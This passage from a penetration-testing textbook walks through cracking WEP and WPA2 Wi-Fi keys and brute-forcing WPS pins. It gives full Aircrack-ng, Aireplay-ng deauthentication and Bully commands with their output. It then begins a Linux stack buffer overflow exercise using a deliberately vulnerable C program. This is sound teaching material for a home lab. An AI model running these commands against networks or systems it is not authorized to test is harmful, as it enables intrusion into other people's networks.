ICV, and an attacker with knowledge of how CRC-32 is calculated could
cause a modified message to be accepted. Thus, the ICV implementation,
like the IV, is not considered sound by modern cryptographic standards.
We can use the Aircrack-ng suite to recover the shared key from a wireless network secured with WEP. Again, the math behind the cryptographic
attacks is beyond the scope of this book. Luckily, we have tools that will take
care of the hard stuff if we can capture the required traffic.
346 Chapter 15
Cracking WEP Keys with Aircrack-ng
There are multiple ways to crack WEP keys, including the fake authentication attack, fragmentation attack, chopchop attack, caffé latte attack, and
PTW attack. We’ll take a closer look at the fake authentication attack, which
requires at least one legitimate client connected to the access point.
We’ll use the host system to simulate an attached client. First, change
the wireless security on your router to WEP (see your user guide if you need
help), and then make sure your wireless card is in monitor mode so that you
can capture traffic from the network without first authenticating.
Now to see what data we can collect using the Airodump-ng tool from
Aircrack-ng. Tell Airodump-ng to use the wireless interface in monitor mode
mon0, as shown in Listing 15-7, and use the -w flag to save all packets to a file.
[email protected]:~# airodump-ng -w book mon0 --channel 6
CH 6 ][ Elapsed: 20 s ][ 2015-03-06 19:08
BSSID
PWR
Beacons
#Data, #/s
CH
MB
ENC
CIPHER AUTH ESSID
00:23:69:F5:B4:2Bu
-53
22
6
0
6v 54 . WEPw WEP
linksysx
BSSID
STATION
PWR
Rate
Lost
Frames
Probe
00:23:69:F5:B4:2B
70:56:81:B2:F0:53
-26
54-54
0
6
Listing 15-7: Airodump-ng capture for WEP cryptanalysis
This initial scan gathers all the information we need to begin a WEP
attack against the base station. Here we have the BSSID u, wireless channel v, encryption algorithm w, and the SSID x. We’ll use this information
to gather the packets to crack the WEP key. Your own setup’s information is
likely different, of course, but here’s what we’ll work with:
•
•
•
Base Station MAC Address: 00:23:69:F5:B4:2B
SSID: linksys
Channel: 6
Injecting Packets
Although the Airodump-ng output in Listing 15-7 shows some traffic from
the access point, to crack a 64-bit WEP key, we need about 250,000 IVs, and
for a 148-bit WEP key, about 1,500,000. Rather than idly listen for packets,
we’ll capture and retransmit packets to the access point to generate unique
IVs quickly. We need to authenticate, because if our MAC address isn’t
authenticated with the access point, any packets we send will be dropped,
and we’ll receive a deauthentication request. We’ll use Aireplay-ng to fake
authentication with the access point and trick it into responding to our
injected packets.
When using fake authentication, we tell the access point we’re ready to
prove we know the WEP key, as shown in Listing 15-8. Of course, because
we don’t know the key yet, we don’t send it, but our MAC address is now on
the list of clients that can send packets to the access point, hence the fake
authentication.
Wireless Attacks
347
[email protected]:~# aireplay-ng -1 0 -e linksys -a 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:02:56 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
20:02:56
20:02:56
20:02:56
20:02:56
Sending Authentication Request (Open System) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1) u
Listing 15-8: Fake authentication with Aireplay-ng
We fake authentication using the following flags with their associated data:
•
•
•
•
•
•
-1 tells Aireplay-ng to fake authentication.
0 is the retransmission time.
-e is the SSID; in my case linksys.
-a is the MAC address of the access point we want to authenticate with.
-h is the MAC address of our card (which should be on a sticker on the
device).
mon0 is the interface to use for the fake authentication.
After sending the Aireplay-ng request, you should receive a smiley face
and indication that authentication was successful u.
Generating IVs with the ARP Request Relay Attack
With the base station willing to accept packets from us, we can capture
and rebroadcast legitimate packets. While the access point won’t allow us
to send traffic without first sending the WEP key to authenticate, we can
rebroadcast traffic from properly authenticated clients.
We’ll use the attack technique known as ARP Request Replay to generate IVs quickly by having Aireplay-ng listen for an ARP request and then
retransmit it back to the base station. (When the access point receives an
ARP request, it rebroadcasts it with a new IV.) Aireplay-ng will rebroadcast
the same ARP packet repeatedly, and each time it’s broadcast, it will have a
new IV.
Listing 15-9 shows the attack in action. Aireplay-ng reads packets looking for an ARP request. You won’t see any data until Aireplay-ng sees an
ARP request it can rebroadcast. We will see that next.
[email protected]:~# aireplay-ng -3 -b 00:23:69:F5:B4:2B -h 00:C0:CA:1B:69:AA mon0
20:14:21 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
Saving ARP requests in replay_arp-1142-201521.cap
You should also start airodump-ng to capture replies.
Read 541 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Listing 15-9: Rebroadcasting ARP packets with Aireplay-ng
348 Chapter 15
We use these options:
•
•
•
•
-3 performs the ARP request replay attack.
-b is the base station MAC address.
-h is our Alfa card MAC address.
mon0 is the interface.
Generating an ARP Request
Unfortunately, as you can see in Listing 15-9, we don’t see any ARP requests.
To generate an ARP request, we’ll use the host system as a simulated client
by pinging an IP address on the network from the connected host system.
Aireplay-ng will see the ARP request and retransmit it to the access point
over and over.
As you can see in the Airodump-ng screen, shown in Listing 15-10, the
#Data u number, indicating captured IVs, increases rapidly as Aireplay-ng
continues to retransmit the ARP packet, causing the access point to generate more IVs. (If your aireplay-ng -3 says "Got adeauth/disassoc" or something
similar and your #Data number is not quickly rising, run the fake association
command from Listing 15-8 again to reassociate with the access point. Your
#Data field should again start rising rapidly.)
CH
6 ][ Elapsed: 14 mins ][ 2015-11-22 20:31
BSSID
PWR
RXQ
Beacons
#Data, #/s
CH
00:23:69:F5:B4:2B
-63
92
5740
85143u 389
6
MB
ENC
54 . WEP
CIPHER AUTH ESSID
WEP
OPN
linksys
Listing 15-10: IVs being captured in Airodump-ng
Cracking the Key
Remember, we need about 250,000 IVs to crack a 64-bit WEP key. As long
as you remain associated with the base station, as shown in Listing 15-8,
(rerunning the command if it becomes necessary) and have generated an
ARP request on the network, it should only take a few minutes to collect
enough IVs. Once we’ve gathered enough IVs, we can use Aircrack-ng to do
the math to turn the collected IVs into the correct WEP key. Listing 15-11
shows how we crack the key by using the -b flag and providing the filename
we used in Airodump-ng followed by *.cap u. This tells Aircrack-ng to read
from all .cap files saved by Airodump-ng.
[email protected]:~# aircrack-ng -b 00:23:69:F5:B4:2B book*.capu
Opening book-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 239400 ivs.
KEY FOUND! [ 2C:85:8B:B6:31 ] v
Decrypted correctly: 100%
Listing 15-11: Recovering the WEP key with Aircrack-ng
Wireless Attacks
349
After a few seconds of analysis Aircrack-ng returns the correct key v.
We can now authenticate with the network. If this were a pentest client’s
network, we could now directly attack any systems on the network.
Challenges with WEP Cracking
As with many topics discussed in this book, information about wireless
attacks could fill a book, and I’ve shown you only one attack. One thing
to keep in mind when attacking WEP is that clients may use filters in an
attempt to thwart attacks like this. For example, access points could use
MAC filtering to allow only wireless cards with certain MAC addresses to
connect, and if your Alfa card isn’t on the list, your fake authentication
attempt will fail. To bypass MAC filtering, you could use a tool like MAC
Changer in Kali to spoof a MAC address and create an accepted value.
Keep in mind that WEP keys are always crackable if we can gather enough
packets, and for security reasons, WEP encryption should not be used in
production.
It’s worth noting that the Wifite tool, installed by default in Kali Linux,
behaves as a wrapper around the Aircrack-ng suite and will automate the
process of attacking wireless networks, including cracking WEP. But while
you are learning how Wi-Fi attacks work, it is better to walk through the
process step by step instead of using an automation wrapper.
We now turn our attention to the stronger wireless encryption protocols, WPA and WPA2.
Wi-Fi Protected Access
As weaknesses in WEP came to light, a more robust wireless security system
was needed and a new system (which ultimately became WPA2) was built
to replace WEP. However, the creation of a secure cryptographic system for
wireless took time, and in the meantime, additional security was needed
that was compatible with deployed wireless hardware. Thus, Wi-Fi Protected
Access (WPA), also known as Temporal Key Integrity Protocol (TKIP), was born.
WPA uses the same underlying algorithm as WEP (RC4) but seeks to
address WEP’s weaknesses by adding keystream randomness to IVs and
integrity to ICV. Unlike WEP, which uses a 40- or 104-bit key combined with
weak IVs for each packet, WPA generates a 148-bit key for each packet to
ensure that each packet is encrypted with a unique keystream.
Additionally, WPA replaces WEP’s weak CRC-32 message integrity check
with a message authentication code (MAC) algorithm called Michael, to prevent attackers from easily calculating the resulting changes to the ICV when
a bit is flipped. Though both WPA and even WPA2 have their weaknesses,
the most common vulnerability (which we’ll exploit later in this chapter)
is the use of weak passphrases.
350 Chapter 15
WPA2
WPA2 was built from the ground up to provide a secure encryption system
for wireless networks. It implements an encryption protocol built specifically for wireless security called Counter Mode with Cipher Block Chaining
Message Authentication Code Protocol (CCMP). CCMP is built on the Advanced
Encryption Standard (AES).
WPA and WPA2 support both personal and enterprise setups. WPA/
WPA2 personal uses a pre-shared key, similar to WEP. WPA/WPA2 enterprise adds an additional element called a Remote Authentication Dial-In User
Service (RADIUS) server to manage client authentication.
The Enterprise Connection Process
In WPA/WPA2 enterprise networks, the client connection process comprises four steps, as shown in Figure 15-6. First the client and the access
point agree on mutually supported security protocols. Then, based on the
authentication protocol chosen, the access point and the RADIUS server
exchange messages to generate a master key. Once a master key is generated, a message that authentication was successful is sent to the access point
and passed on to the client, and the master key is sent to the access point.
The access point and the client exchange and verify keys for mutual authentication, message encryption, and message integrity via a four-way handshake, as discussed in “The Four-Way Handshake” on this page. Following
key exchange, traffic between the client and the access point is secured with
WPA or WPA2.
protocol agreement
authentication
key distribution
client
access point
encryption
master key distribution
RADIUS server
Figure 15-6: WPA/WPA2 enterprise connection
The Personal Connection Process
The WPA/WPA2 personal connection process is slightly simpler than the
enterprise one: No RADIUS server is required, and the entire process is
between the access point and the client. No authentication or master key step
occurs, and instead of a RADIUS server and master key, WPA/WPA2 personal use pre-shared keys, which are generated using pre-shared passphrases.
The WPA/WPA2 personal passphrase that you enter when you connect
to a secured network is static, whereas enterprise setups use dynamic keys
generated by the RADIUS server. Enterprise setups are more secure, but most
personal networks and even most small businesses lack RADIUS servers.
Wireless Attacks
351
The Four-Way Handshake
In the first phase of the connection between an access point and supplicant
(client), a pairwise master key (PMK), which is static throughout the entire
session, is created. This is not the key that will be used for encryption itself,
but it will be used during the second phase, where a four-way handshake
will take place between access point and client, with the purpose of establishing a channel of communication and exchanging the encryption keys
used for further data communication, as shown in Figure 15-7.
ANonce
SNonce + MIC
GTK + MIC
Ack
Figure 15-7: WPA/WPA2 four-way handshake
This PMK is generated from the following:
•
•
•
•
•
The passphrase (pre-shared key, or PSK)
The access point’s SSID
The SSID length
The number of hashing iterations (4096)
The resulting length in bits (256) of the generated shared key (PMK)
These values are fed into a hashing algorithm called PBKDF2, which
creates a 256-bit shared key (PMK). While your passphrase (PSK) may be
GeorgiaIsAwesome, this is not the PMK that will be used in a second phase.
That said, anyone who knows the passphrase and the access point’s SSID
can use the PBKDF2 algorithm to generate the correct PMK. During the
four-way handshake, a pairwise transient key (PTK) is created and used to
encrypt traffic between the access point and the client; a group transient
key (GTK) is exchanged and used to encrypt broadcast traffic. The PTK is
made up of the following:
•
•
•
•
•
The shared key (the PMK)
A random number (nonce) from the access point (ANonce)
A nonce from the client (SNonce)
The MAC address of the client
The MAC address of the access point
These values are fed into the PBKDF2 hashing algorithm to create
the PTK.
To generate the PTK, the access point and the client exchange MAC
addresses and nonces (random values). The static shared key (PMK) is never
sent over the air, because both the access point and the client know the passphrase (PSK) and, thus, can generate the shared key independently.
352 Chapter 15
The shared nonces and MAC addresses are used by both the client and
the access point to generate the PTK. In the first step of the four-way handshake, the access point sends its nonce (ANonce). Next, the client chooses
a nonce, generates the PTK, and sends its nonce (SNonce) to the access
point. (The S in SNonce stands for supplicant, another name for the client
in a wireless setup.)
In addition to sending its nonce, the client sends a message integrity
code (MIC) to guard against forgery attacks. In order to compute the correct
MIC, the passphrase used to generate the pre-shared key must be correct, or
the PTK will be wrong. The access point independently generates the PTK
based on the SNonce and MAC address sent by the client, then checks the
MIC sent by the client. If it’s correct, the client has authenticated successfully,
and the access point sends over the GTK plus the MIC to the client.
In the fourth part of the handshake, the client acknowledges the GTK.
Cracking WPA/WPA2 Keys
Unlike WEP, the cryptographic algorithms used in WPA and WPA2 are
robust enough to stop attackers from recovering the key simply by capturing enough traffic and performing cryptanalysis. The Achilles’ heel in
WPA/WPA2 personal networks lies in the quality of the pre-shared key
(passphrase) used. If the Windows Administrator password you found during
post exploitation is the same as the WPA or WPA2 personal passphrase or
the passphrase is written on a whiteboard in the front office of the organization, it’s game over.
To try to guess a weak password, we first need to capture the four-way
handshake for analysis. Recall that given the correct passphrase and the
SSID of the access point, the PBKDF2 hashing algorithm can be used to
generate the shared key (PMK). Given the PMK, we still need the ANonce,
SNonce, and the MAC addresses of the access point and client to calculate
the PTK. Of course, the PTK will differ for each client, because the nonces
will differ in each four-way handshake, but if we can capture a four-way
handshake from any legitimate client, we can use its MAC addresses and
nonces to calculate the PTK for a given passphrase. For example, we can
use the SSID and the passphrase password to generate a PMK, then combine the generated PMK with the captured nonces and MAC addresses to
calculate a PTK. If the MICs comes out like the ones in the captured handshake, we know that password is the correct passphrase. This technique can
be applied to a wordlist of possible passphrases to try to guess the correct
passphrase. Luckily, if we can capture a four-way handshake and supply a
wordlist, we have Aircrack-ng to take care of all the math.
Using Aircrack-ng to Crack WPA/WPA2 Keys
To use Aircrack-ng to crack WPA/WPA2, first set up your wireless access
point for WPA2 personal. Choose a pre-shared key (passphrase) and then
connect your host system to your access point to simulate a real client.
Wireless Attacks
353
To use a wordlist to try to guess the WPA2 pre-shared key (passphrase),
we need to capture the four-way handshake. Enter airodump-ng -c 6 for the
channel, --bssid with the base station MAC address, -w to specify the filename
for output (use a different filename than you used in the WEP cracking
example), and mon0 for the monitor interface, as shown in Listing 15-12.
[email protected]:~# airodump-ng -c 6 --bssid 00:23:69:F5:B4:2B -w pentestbook2 mon0
CH 6 ][ Elapsed: 4 s ][ 2015-05-19 16:31
BSSID
PWR RXQ Beacons
00:23:69:F5:B4:2B -43 100
BSSID
#Data, #/s CH MB
66
157
STATION
PWR
00:23:69:F5:B4:2B 70:56:81:B2:F0:53 -33
17
Rate
ENC CIPHER AUTH E
6 54 . WPA2 CCMP
Lost
54-54
PSK l
Frames Probe
15
168 u
Listing 15-12: Airodump-ng for WPA2 cracking
As you can see the host is connected u. To capture a four-way handshake, we can either wait for another wireless client to sign on or speed up
the process by kicking a client off the network and forcing it to reconnect.
To force a client to reconnect, use Aireplay-ng to send a message to a
connected client telling it that it is no longer connected to the access point.
When the client reauthenticates, we’ll capture the four-way handshake
between the client and access point. The Aireplay-ng options we’ll need are:
•
•
•
•
-0 means deauthentication.
1 is the number of deauthentication requests to send.
-a 00:14:6C:7E:40:80 is the MAC address of the base station.
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client to deauthenticate.
Listing 15-13 shows the aireplay-ng command and the deauthentication
request.
[email protected]:~# aireplay-ng -0 1 -a 00:23:69:F5:B4:2B -c 70:56:81:B2:F0:53 mon0
16:35:11 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
16:35:14 Sending 64 directed DeAuth. STMAC: [70:56:81:B2:F0:53] [24|66 ACKs]
Listing 15-13: Sending a deauthentication request to a client
Now we return to the Airodump-ng window, as shown in Listing 15-14.
CH
6 ][ Elapsed: 2 mins ][ 2015-11-23 17:10 ][ WPA handshake: 00:23:69:F5:B4:2B u
BSSID
PWR RXQ
Beacons
00:23:69:F5:B4:2B
-51 100
774
354 Chapter 15
#Data, #/s
363
18
CH
6
MB
ENC
CIPHER AUTH ESSID
54 . WPA2 CCMP
PSK
linksys
BSSID
STATION
PWR
Rate
00:23:69:F5:B4:2B
70:56:81:B2:F0:53
-29
1 - 1
Lost
Frames
47
457
Probe
Listing 15-14: WPA2 handshake captured in Airodump-ng
If the Airodump-ng capture sees a four-way handshake with a client, it
records it in the first line of the captured output u.
Once you’ve captured the WPA2 handshake, close Airodump-ng, and
open the .cap file in Wireshark with FileOpenfilename.cap. Once in
Wireshark, filter for the eapol protocol to see the four packets that make
up the handshake, as shown in Figure 15-8.
Figure 15-8: WPA2 handshake packets in Wireshark
Note
Sometimes Aircrack-ng will claim that the handshake has been captured, but when
you look at the packets in Wireshark, you will see you do not have all four messages. If
this is the case, run the deauthentication attack again, as you will need all four messages to attempt to guess the correct key.
Now we create a wordlist like the ones we used in Chapter 9, making
sure that the correct WPA2 key is included in the list. The success of our
attack against WPA2 is contingent on our ability to compare the hashed
values for our passphrase with the values in the handshake.
Once we have the handshake, we can do the rest of the calculations
to recover the key offline; we no longer need to be in range of the access
point or send it any packets. Next we use Aircrack-ng to test the keys in
the wordlist, specifying a list with the -w option, as shown in Listing 15-15.
Otherwise, the command is identical to cracking the WEP key. If the correct key is in the wordlist, it will be recovered with Aircrack-ng.
Wireless Attacks
355
[email protected]:~# aircrack-ng -w password.lst -b 00:23:69:F5:B4:2B pentestbook2*.cap
Opening pentestbook2-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 beta2
[00:00:00] 1 keys tested (178.09 k/s)
KEY FOUND! [ GeorgiaIsAwesome ] u
Master Key
: 2F 8B 26 97 23 D7 06 FE 00 DB 5E 98 E3 8A C1 ED
9D D9 50 8E 42 EE F7 04 A0 75 C4 9B 6A 19 F5 23
Transient Key
: 4F
49
B7
80
EAPOL HMAC
: 91 97 7A CF 28 B3 09 97 68 15 69 78 E2 A5 37 54
0A
22
36
9B
3B
DA
08
EF
C1
71
AB
C7
1F
33
9C
4E
66
A0
E6
60
B6
6B
E5
D7
DF
CF
15
9C
2F
2F
5D
37
F9
D3
3F
B9
99
BE
EA
7D
FF
DB
C7
D3
2F
3F
69
5C
05
E1
E8
A0
89
DB
F8
9E
5E
17
22
8C
Listing 15-15: Recovering a WPA2 key with Aircrack-ng
As you can see, the correct key is in our wordlist and is recovered u.
This sort of dictionary attack against WPA/WPA2 can be prevented by
using a strong passphrase, as discussed in Chapter 9.
Aircrack-ng is just one suite of tools for cracking wireless. It is ideal for
beginners, because starting different tools for each step of the process will
help you become familiar with how these attacks work. Other widely used
Wi-Fi auditing tools that you may encounter are Kismet and Wifite.
Wi-Fi Protected Setup
Wi-Fi Protected Setup (WPS) was designed to allow users to attach their
devices to secure networks with an eight-digit pin instead of a potentially
long and complicated passphrase. When the correct pin is supplied, the
access point sends over the passphrase.
Problems with WPS
The last digit of the pin is a checksum for the previous seven digits, so the
keyspace should be 107, or 10,000,000 possible pins. However, when a pin
is sent to the access point by the client, the validity of the first four digits
and second four digits is reported separately. The first four digits are all
in play, so there are 10,000 possibilities. Of the second four digits, only
the first three are in play (1000 possible guesses), so it would take at most
11,000 guesses to brute-force the correct WPS pin. This decreases the time
required to brute-force to under four hours. The only way to fix this issue is
to disable WPS on the access point.
356 Chapter 15
Cracking WPS with Bully
Kali provides tools that you can use to implement a brute-force attack
against WPS. One such tool is Bully. We can use Bully to brute-force the
WPS pin as well as test a specific pin. To use Bully we need the SSID, MAC
address, and channel of the access point, which we found with iwlist at the
beginning of this chapter. Use the -b flag to specify the MAC address, the
-e flag for the SSID, and the -c flag for the channel, as shown here.
[email protected]:~# bully mon0 -b 00:23:69:F5:B4:2B -e linksys -c 6
Bully should be able to brute-force the pin in around four hours and
recover the correct pre-shared PIN. WPS is enabled by default on many
wireless access points and may be an easier way in than guessing a strong
WPA/WPA2 passphrase.
Summary
Wireless security is an often-overlooked piece of an organization’s security
posture. Time and money are put into securing the perimeter, deploying the latest firewalls and intrusion-prevention systems, but all this is for
naught if an attacker can just sit at the coffee shop across the street with
a strong antenna and join your corporate network. Wireless connections
may save corporations from lawsuits by distracted employees tripping over
Ethernet wires, but they introduce potential security vulnerabilities and
should be audited regularly. In this chapter, we used Aircrack-ng to recover
WEP and WPA2 personal wireless keys by eavesdropping on and injecting
traffic into a wireless network, and we used Bully to brute-force a WPS pin.
Wireless Attacks
357
Part IV
E xploit De velopment
16
A S t a c k- B a s e d B u f f e r
Ov e r f l o w i n L i n u x
So far we’ve used tools such as Metasploit and public
exploit code on the Internet to exploit our target systems. But you may find a vulnerability in your pentesting career that has no such exploit code, or you may
discover a new security issue and want to write your
own exploit code for it. In this chapter and the next
three, we will look at the basics of writing our own exploits. We won’t cover
everything through the latest and greatest iPhone jailbreak, but we will look
at some real-world examples of vulnerable programs and learn how to write
working exploits for them by hand.
We’ll begin with a simple vulnerable program on our Linux target and
make the program do something its developer never intended.
Note
All of the examples in Chapters 16 through 19 use x86 architecture.
Memory Theory
Before we dive into writing our own exploits, we need to get a handle on
the basics of how memory works. Our goal is to manipulate memory and
trick the CPU into executing instructions on our behalf. We’ll use a technique called a stack-based buffer overflow, which involves overfilling a variable
on the program’s memory stack and overwriting adjacent memory locations.
But first, we need to know a little bit about how a program’s memory is laid
out, as shown in Figure 16-1.
low memory
text
data
heap
unused memory
stack
high memory
Figure 16-1: Memory visualization
The text segment contains the program code to be executed, while
the data segment contains global information for the program. At higher
addresses, we have a portion shared by the stack and heap, which are allocated at runtime. The stack is fixed in size and is used to store function
arguments, local variables, and so on. The heap holds dynamic variables.
The stack consumption increases as more functions or subroutines are
called, and the top of the stack points at lower memory addresses as more
data is stored on the stack.
Our Intel-based CPU has general-purpose registers where it can store
data for future use. These include:
EIP instruction pointer
ESP stack pointer
EBP base pointer
ESI source index
EDI destination index
EAX accumulator
EBX base
362 Chapter 16
ECX counter
EDX data
ESP, EBP, and EIP are particularly interesting to us. ESP and EBP
together keep track of the stack frame of the currently executing function.
As shown in Figure 16-2, ESP points to the top of the stack frame at its
lowest memory address, and likewise, EBP points to the highest memory
address at the bottom of the stack frame. EIP holds the memory address of
the next instruction to be executed. Because our goal is to hijack execution
and make the target machine execute what we want, EIP seems like a prime
target for compromise. But how do we get our instructions to EIP? EIP is
read only, so we can’t just put a memory address to be executed in this register; we will need to be a bit cleverer.
low memory
ESP
main’s stack frame
EBP
high memory
Figure 16-2: Stack frame
The stack is a last-in, first-out data structure. You can think of it like a
stack of lunch trays at a cafeteria. The last tray that is added to the stack is
the first tray that is taken off when one is needed. To add data to the stack,
a PUSH instruction is used. Likewise, to remove data from the stack, we use a
POP instruction. (Remember that the stack consumption increases to lower
memory addresses, so when data is pushed onto the current stack frame,
ESP moves to a lower address in memory.)
When a program function is executed, a stack frame for its information (such as local variables) is pushed onto the stack. Once the function
finishes executing, the entire stack frame is unwound, ESP and EBP point
back to the caller function’s stack frame, and execution continues in the
caller function where it left off. However, the CPU must know where in
memory to continue from, and it obtains that information from the return
address, which is pushed onto the stack when a function is called.
Say, for instance, that we are running a C program. Naturally, the function main is called when the program begins, and a stack frame is allocated
for it. main then calls another function, function1. Before pushing a stack
frame for function1 onto the stack and handing over execution, main notes
where execution will need to continue when function1 returns (typically the
line of code directly after the call to function1) by pushing this value—its
return address—onto the stack. Figure 16-3 shows the stack after main’s call
to function1.
A Stack-Based Buffer Overflow in Linux 363
low memory
ESP
function1’s stack frame
EBP
Saved EBP from main
return address
main’s stack frame
high memory
Figure 16-3: Stack after call to function1
After function1 finishes, it returns, its stack frame is unwound, and the
stored return address is loaded into the EIP register to restore execution
to main. If we can control that return address, we can dictate which instructions are executed when function1 returns. In the next section, we’ll look
at a simple stack-based buffer overflow example to illustrate this point.
Keep in mind a couple more things before we continue. In the
examples in this book, we’re using older operating systems to get around
some advanced antiexploitation techniques found on the most modern versions of both Windows and Linux. Particularly, we’ll take advantage of
the lack of data execution prevention (DEP) and address space layout randomization (ASLR), because both of them would make it difficult to learn the
basics of exploitation. DEP sets specific memory sections as nonexecutable,
which stops us from filling our stack with shellcode and pointing EIP to
it for execution (as you’ll see in the Windows buffer overflow example in
Chapter 17). ASLR randomizes where our libraries are loaded in memory.
In our examples, we’ll hardcode the return address to where we would like
to go in memory, but in the post-ASLR exploit world, finding the correct
place to send execution can be a bit trickier. We’ll touch on more advanced
exploit-writing techniques in Chapter 19, but for now let’s get comfortable
with the basics of how stack-based buffer overflows work.
Linux Buffer Overflow
Now that we’re done with the mind-numbing theory, let’s see a basic example
of a buffer overflow exploit in action on our Linux target. First, let’s make
sure the target is set up correctly for a basic buffer overflow. Modern operating systems have checks in place to prevent these attacks, but while we are
learning, we need to turn them off. If you’re using the Linux target image
provided with this book, it’s already set up correctly, but to make sure,
check that randomize_va_space is set to 0 as shown here.
364 Chapter 16
[email protected]:~$ sudo nano /proc/sys/kernel/randomize_va_space
randomize_va_space, when set to 1 or 2, turns on ASLR on our target system. By default, randomization is turned on in Ubuntu, but we need this
feature off for our example. If the file includes the value 0, we’re all set. If
not, change the file contents to 0 and save it.
A Vulnerable Program
Let’s write a simple C program called overflowtest.c that is vulnerable to a
stack-based buffer overflow, as shown in Listing 16-1.
Note
This file is in georgia’s home directory on the Ubuntu target included in the book’s
downloads.
[email protected]:~$ nano overflowtest.c
#include <string.h>
#include <stdio.h>
u void overflowed() {
printf("%s\n", "Execution Hijacked");
}
v void function1(char *str){
char buffer[5];
strcpy(buffer, str);
}
w void main(int argc, char *argv[])
{
function1(argv[1]);
printf("%s\n", "Executed normally");
}
Listing 16-1: Simple exploitable C program
Our simple C program doesn’t do very much. It starts off by including
two C libraries, stdio.h and string.h. These allow us to use the standard
input/output and string constructors in C without having to build them
from scratch. We’ll want to use strings and output text to the console in our
program.
Next we have three functions: overflowed, function1, and main. If overflowed
u is called, it prints the text “Execution Hijacked” to the console and then
returns. If function1 v is called, it declares a local variable, a five-character
string called buffer, and copies the contents of a variable passed to function1
into buffer. Called by default when the program starts, main w calls function1
and passes it the first command line argument the program received. After
function1 returns, main prints the text “Executed normally” to the console,
and the program exits.
A Stack-Based Buffer Overflow in Linux 365
Notice that under normal circumstances, overflowed is never called, so
“Execution Hijacked” should never appear in the console. (You’ll learn why
it’s in the program at all when we overflow the buffer and hijack control of
the program.)
Now we compile our program as shown here.
[email protected]:~$ gcc -g -fno-stack-protector -z execstack -o overflowtest overflowtest.c
To compile our C code as shown above, we use GCC, the GNU Compiler
Collection, which is built into Ubuntu by default. The -g option tells GCC
to add extra debugging information for GDB, the GNU debugger. We use
the -fno-stack-protector flag to turn off GCC’s stack-protection mechanism,
which would attempt to prevent buffer overflows if we left it turned on. The
-z execstack compiler option makes the stack executable, disabling another
buffer overflow prevention method. We tell GCC to compile overflowtest.c
into an executable called overflowtest with the -o option.
Recall that main takes the first command line argument to the program
and feeds it to function1, which copies the value into a five-character local
variable. Let’s run the program with the command line argument AAAA, as
shown here. Make overflowtest executable with chmod if necessary. We use
four As instead of five because a string ends with a null byte. Technically, if
we used five As, we would already be overflowing the buffer, albeit by just
one character.
[email protected]:~$ ./overflowtest AAAA
Executed normally
As shown, the program does what we expected: main calls function1,
function1 copies AAAA into buffer, function1 returns execution to main, and main
prints “Executed normally” to the console before the program exits. Maybe
if we give overflowtest some unexpected input, we can force it to behave in a
way that will help us cause a buffer overflow.
Causing a Crash
Now let’s try giving the program a long string of As as an argument, as
shown here.
[email protected]:~$ ./overflowtest AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
This time, the program crashes with a segmentation fault. Our program’s problem lies with the implementation of strcpy, which we use in
function1. The strcpy function takes one string and copies it into another,
but it does not do any bounds checking to make sure the supplied argument will fit into the destination string variable. The strcpy function
will attempt to copy three, five, or even hundreds of characters into our
366 Chapter 16
five-character destination string. If our string is five characters long and
we copy in 100 characters, the other 95 will end up overwriting data at
adja­­cent memory addresses in the stack.
We could potentially overwrite the rest of function1’s stack frame and
even higher memory. Remember what’s at the memory address immediately after the base of that stack frame? Before the frame was pushed on
the stack, main pushed its return address onto the stack to designate where
execution should continue once function1 returns. If the string we copy into
buffer is long enough, we’ll overwrite memory from buffer straight through
to EBP, over the return address, and even into main’s stack frame.
Once strcpy places the first argument from overflowtest into buffer,
function1 returns back to main. Its stack frame is popped off the stack, and
the CPU tries to execute the instruction at the memory location in the return
address. Because we’ve overwritten the return address with a long string of
As, as shown in Figure 16-4, the CPU will try to execute the instructions at
the memory address 41414141 (the hexadecimal representation of four As).
low memory
ESP
function1’s stack frame
buffer = [AAAAA]
EBP
AAAA
return address AAAA
AAAA
main’s stack frame
high memory
Figure 16-4: Memory after strcpy is executed
However, our program can’t read, write, or execute from anywhere it
likes in memory because that would cause utter chaos. The memory address
41414141 is out of bounds for our program, and it crashes with the segmentation fault we saw at the beginning of this section.
In the next section, we’ll take a closer look behind the scenes when the
program crashes. In GDB, discussed next, you can use the command maintenance info sections to see which memory regions are mapped to the process.
Running GDB
We can see exactly what’s happening in memory by running our program
in a debugger. Our Ubuntu machine comes with GDB, so let’s open the program in the debugger, as shown here, and watch what happens in memory
if we overflow our five-character buffer.
A Stack-Based Buffer Overflow in Linux 367
[email protected]:~$ gdb overflowtest
(gdb)
Before we run the program, we’ll set some breakpoints to pause execution at certain points in the program and allow us to view the state of
memory at those times. Because we compiled the program with the -g
flag, we can view the source code directly, as shown in Listing 16-2, and set
breakpoints at the lines where we would like to pause.
(gdb)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb)
list 1,16
#include <string.h>
#include <stdio.h>
void overflowed() {
printf("%s\n", "Execution Hijacked");
}
void function(char *str){
char buffer[5];
strcpy(buffer, str); u
} v
void main(int argc, char *argv[])
{
function(argv[1]); w
printf("%s\n", "Executed normally");
}
Listing 16-2: Viewing source code in GDB
First, let’s pause the program right before main calls function1 at w, just
before the instruction is executed. We’ll also set two more breakpoints, inside
function1, right before strcpy is executed at u, and directly afterward, at v.
Setting breakpoints in GDB is shown in Listing 16-3. Set breakpoints at
lines 14, 10, and 11 by using the GDB command break.
(gdb) break 14
Breakpoint 1 at 0x8048433: file overflowtest.c, line 14.
(gdb) break 10
Breakpoint 2 at 0x804840e: file overflowtest.c, line 10.
(gdb) break 11
Breakpoint 3 at 0x8048420: file overflowtest.c, line 11.
(gdb)
Listing 16-3: Setting breakpoints in GDB
Before we overflow buffer and cause the program to crash, let’s run it
with just four As, as shown here, and watch memory as the program executes normally.
(gdb) run AAAA
Starting program: /home/georgia/overflowtest AAAA
368 Chapter 16
Breakpoint 1, main (argc=2, argv=0xbffff5e4) at overflowtest.c:14
14
function(argv[1]);
